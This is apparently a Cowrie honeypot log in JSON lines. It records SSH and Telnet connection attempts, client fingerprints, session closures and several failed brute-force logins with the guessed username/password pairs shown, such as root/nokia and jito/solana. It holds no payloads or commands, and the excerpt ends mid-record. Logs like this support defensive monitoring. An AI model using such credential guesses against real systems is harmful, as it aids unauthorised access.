{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42614,"dst_ip":"10.17.0.5","dst_port":23,"session":"2deb934533bd","protocol":"telnet","message":"New connection: 192.119.13.58:42614 (10.17.0.5:23) [session: 2deb934533bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:46.656801Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:47.662868Z","src_ip":"103.164.9.74","session":"0eff81d1454b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.625478982925415,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:50.319765Z","src_ip":"192.119.13.58","session":"5661b85ffaff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":34976,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4fe346e9319","protocol":"ssh","message":"New connection: 147.45.211.215:34976 (159.203.135.109:22) [session: d4fe346e9319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:50.747010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:50.752068Z","src_ip":"147.45.211.215","session":"d4fe346e9319","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:50.925300Z","src_ip":"147.45.211.215","session":"d4fe346e9319","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia","message":"login attempt [root/nokia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:51.446235Z","src_ip":"147.45.211.215","session":"d4fe346e9319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:52.623110Z","src_ip":"147.45.211.215","session":"d4fe346e9319","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":46738,"dst_ip":"10.17.0.5","dst_port":22,"session":"38c4ac2d98a1","protocol":"ssh","message":"New connection: 103.183.114.55:46738 (10.17.0.5:22) [session: 38c4ac2d98a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:53.041965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:53.046850Z","src_ip":"103.183.114.55","session":"38c4ac2d98a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:53.276245Z","src_ip":"103.183.114.55","session":"38c4ac2d98a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.16736340522766,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:53.507737Z","src_ip":"192.119.13.58","session":"f661056e6791","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123454","message":"login attempt [root/123454] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:53.957109Z","src_ip":"103.183.114.55","session":"38c4ac2d98a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51450,"dst_ip":"10.17.0.5","dst_port":23,"session":"52e9503812c1","protocol":"telnet","message":"New connection: 192.119.13.58:51450 (10.17.0.5:23) [session: 52e9503812c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:55.052494Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:55.185843Z","src_ip":"103.183.114.55","session":"38c4ac2d98a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.176512718200684,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:57.291125Z","src_ip":"192.119.13.58","session":"7f47a0ee9b6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.629677057266235,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:58.226701Z","src_ip":"192.119.13.58","session":"fc4a0f03bb30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.33643174171448,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:59.522716Z","src_ip":"192.119.13.58","session":"619c1530393a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.712619066238403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:00.696422Z","src_ip":"192.119.13.58","session":"9879de1a0be5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.98941135406494,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:01.939190Z","src_ip":"192.119.13.58","session":"3ad84fe78c4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.54417657852173,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:03.134255Z","src_ip":"192.119.13.58","session":"59eda141381d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":49788,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7325bb5c075","protocol":"ssh","message":"New connection: 193.32.162.145:49788 (10.17.0.5:22) [session: b7325bb5c075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:03.478982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:03.484124Z","src_ip":"193.32.162.145","session":"b7325bb5c075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:03.590043Z","src_ip":"193.32.162.145","session":"b7325bb5c075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"solana","message":"login attempt [jito/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:03.914773Z","src_ip":"193.32.162.145","session":"b7325bb5c075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:05.027492Z","src_ip":"193.32.162.145","session":"b7325bb5c075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35630,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a41477bcd6f","protocol":"telnet","message":"New connection: 192.119.13.58:35630 (10.17.0.5:23) [session: 0a41477bcd6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:05.176388Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.11.66","src_port":49980,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d20a2b01c26","protocol":"ssh","message":"New connection: 116.110.11.66:49980 (159.203.135.109:22) [session: 5d20a2b01c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:05.363621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:05.372232Z","src_ip":"116.110.11.66","session":"5d20a2b01c26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39020,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3637486d78c","protocol":"telnet","message":"New connection: 192.119.13.58:39020 (10.17.0.5:23) [session: f3637486d78c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:06.040955Z"}
{"eventid":"cowrie.session.closed","duration":36.2535297870636,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:07.119788Z","src_ip":"192.119.13.58","session":"e6b8a88f64c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.84210681915283,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:07.239701Z","src_ip":"192.119.13.58","session":"6f92cf91d494","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.09252882003784,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:09.759537Z","src_ip":"192.119.13.58","session":"ee3e2bc81f91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55864,"dst_ip":"10.17.0.5","dst_port":23,"session":"141be1dd9704","protocol":"telnet","message":"New connection: 192.119.13.58:55864 (10.17.0.5:23) [session: 141be1dd9704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:11.250904Z"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:13.242200Z","src_ip":"116.110.11.66","session":"5d20a2b01c26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39990,"dst_ip":"10.17.0.5","dst_port":23,"session":"d16745217d82","protocol":"telnet","message":"New connection: 192.119.13.58:39990 (10.17.0.5:23) [session: d16745217d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:13.359949Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44060,"dst_ip":"10.17.0.5","dst_port":23,"session":"1601b222377e","protocol":"telnet","message":"New connection: 192.119.13.58:44060 (10.17.0.5:23) [session: 1601b222377e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:14.372239Z"}
{"eventid":"cowrie.session.closed","duration":37.3113272190094,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:15.220585Z","src_ip":"192.119.13.58","session":"4a3d4a7dd2e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50128,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bcce35dc6c3","protocol":"telnet","message":"New connection: 192.119.13.58:50128 (10.17.0.5:23) [session: 8bcce35dc6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:15.839866Z"}
{"eventid":"cowrie.session.closed","duration":37.249263525009155,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:16.609583Z","src_ip":"192.119.13.58","session":"e2cc795d153d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":50506,"dst_ip":"10.17.0.5","dst_port":22,"session":"648bc05770a0","protocol":"ssh","message":"New connection: 40.83.182.122:50506 (10.17.0.5:22) [session: 648bc05770a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:17.792658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:17.803093Z","src_ip":"40.83.182.122","session":"648bc05770a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:17.881829Z","src_ip":"40.83.182.122","session":"648bc05770a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ines123","message":"login attempt [root/ines123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:18.227833Z","src_ip":"40.83.182.122","session":"648bc05770a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60102,"dst_ip":"10.17.0.5","dst_port":23,"session":"29cb7994b242","protocol":"telnet","message":"New connection: 192.119.13.58:60102 (10.17.0.5:23) [session: 29cb7994b242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:18.315661Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:19.309153Z","src_ip":"40.83.182.122","session":"648bc05770a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41044,"dst_ip":"10.17.0.5","dst_port":23,"session":"82875ee71cfb","protocol":"telnet","message":"New connection: 192.119.13.58:41044 (10.17.0.5:23) [session: 82875ee71cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:20.668387Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41420,"dst_ip":"10.17.0.5","dst_port":23,"session":"b99cd6b0b57d","protocol":"telnet","message":"New connection: 192.119.13.58:41420 (10.17.0.5:23) [session: b99cd6b0b57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:20.783389Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46396,"dst_ip":"10.17.0.5","dst_port":23,"session":"538361b4dc6e","protocol":"telnet","message":"New connection: 192.119.13.58:46396 (10.17.0.5:23) [session: 538361b4dc6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:22.127128Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38310,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7b9941c9702","protocol":"ssh","message":"New connection: 103.153.68.219:38310 (159.203.135.109:22) [session: c7b9941c9702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:23.568628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:23.572595Z","src_ip":"103.153.68.219","session":"c7b9941c9702","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.c